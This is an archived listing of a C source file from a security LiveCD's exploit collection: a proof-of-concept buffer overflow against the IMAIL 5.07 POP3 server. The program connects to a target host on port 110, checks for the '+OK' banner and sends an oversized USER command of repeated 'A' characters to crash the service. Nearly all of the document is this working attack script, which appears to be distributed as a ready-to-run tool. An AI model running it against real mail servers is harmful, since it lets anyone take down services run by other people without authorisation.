home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imail / imailpopx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  161 lines

  1. Exploit (by Interrupt):
  2.  
  3.  
  4. /*
  5.  * IMAIL 5.07 POP3 Overflow
  6.  * By: Mike@eEye.com
  7.  *
  8.  * Demonstrates vulnerability
  9.  */
  10.  
  11.  
  12.  #include <stdio.h>
  13.  #include <string.h>
  14.  
  15.  
  16. #ifdef WINDOWS
  17.  #include <windows.h>
  18.  #include <winsock.h>
  19. #else
  20.  #include <sys/types.h>
  21.  #include <sys/socket.h>
  22.  #include <netdb.h>
  23.  #include <netinet/in.h>
  24. #endif
  25.  
  26.  
  27. #ifndef WINDOWS
  28.  #define SOCKET_ERROR -1
  29.  #define closesocket(sock) close(sock)
  30.  #define WSACleanup() ;
  31. #endif
  32.  
  33.  
  34. char overflow[] =
  35.  "USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  36.  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  37.  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  38.  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  39.  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  40.  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n";
  41.  
  42.  
  43. int main(int argc, char *argv[])
  44. {
  45. #ifdef WINDOWS
  46.    WSADATA wsaData;
  47. #endif
  48.  
  49.  
  50.    struct hostent *hp;
  51.    struct sockaddr_in sockin;
  52.    char buf[300], *check;
  53.    int sockfd, bytes;
  54.    char *hostname;
  55.    unsigned short port;
  56.  
  57.  
  58.    if (argc <= 1)
  59.    {
  60.       printf("IMAIL POP3 Overflow\n");
  61.       printf("By: Mike@eEye.com\n\n");
  62.  
  63.  
  64.       printf("Usage: %s [hostname] [port]\n", argv[0]);
  65.       printf("If port is not specified we use '110'\n");
  66.  
  67.  
  68.       exit(0);
  69.    }
  70.  
  71.  
  72.    hostname = argv[1];
  73.    if (argv[2]) port = atoi(argv[2]);
  74.    else port = atoi("110");
  75.  
  76.  
  77.    printf("IMAIL POP3 Overflow\n");
  78.    printf("By: Mike@eEye.com\n\n");
  79.  
  80.  
  81. #ifdef WINDOWS
  82.    if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
  83.    {
  84.       fprintf(stderr, "Error setting up with WinSock v1.1\n");
  85.       exit(-1);
  86.    }
  87. #endif
  88.  
  89.  
  90.    hp = gethostbyname(hostname);
  91.    if (hp == NULL)
  92.    {
  93.       printf("ERROR: Uknown host %s\n", hostname);
  94.       exit(-1);
  95.    }
  96.  
  97.  
  98.    sockin.sin_family = hp->h_addrtype;
  99.    sockin.sin_port = htons(port);
  100.    sockin.sin_addr = *((struct in_addr *)hp->h_addr);
  101.  
  102.  
  103.    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
  104.    {
  105.       printf("ERROR: Socket Error\n");
  106.       exit(-1);
  107.    }
  108.  
  109.  
  110.    if ((connect(sockfd, (struct sockaddr *) &sockin,
  111.                 sizeof(sockin))) == SOCKET_ERROR)
  112.    {
  113.       printf("ERROR: Connect Error\n");
  114.       closesocket(sockfd);
  115.       WSACleanup();
  116.       exit(-1);
  117.    }
  118.  
  119.  
  120.    printf("Connected to [%s] on port [%d], sending overflow....\n",
  121.           hostname, port);
  122.  
  123.  
  124.    /* Check to see if we get a +OK error code. If so then proceed. */
  125.    if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
  126.    {
  127.       printf("ERROR: Recv Error\n");
  128.       closesocket(sockfd);
  129.       WSACleanup();
  130.       exit(1);
  131.    }
  132.  
  133.  
  134.    buf[bytes] = '\0';
  135.    check = strstr(buf, "+OK");
  136.    if (check == NULL)
  137.    {
  138.       printf("ERROR: NO +OK response from inital connect\n");
  139.       closesocket(sockfd);
  140.       WSACleanup();
  141.       exit(-1);
  142.    }
  143.  
  144.  
  145.    if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR)
  146.    {
  147.       printf("ERROR: Send Error\n");
  148.       closesocket(sockfd);
  149.       WSACleanup();
  150.       exit(-1);
  151.    }
  152.  
  153.  
  154.    printf("Sent.\n");
  155.  
  156.  
  157.    closesocket(sockfd);
  158.    WSACleanup();
  159. }
  160.  
  161.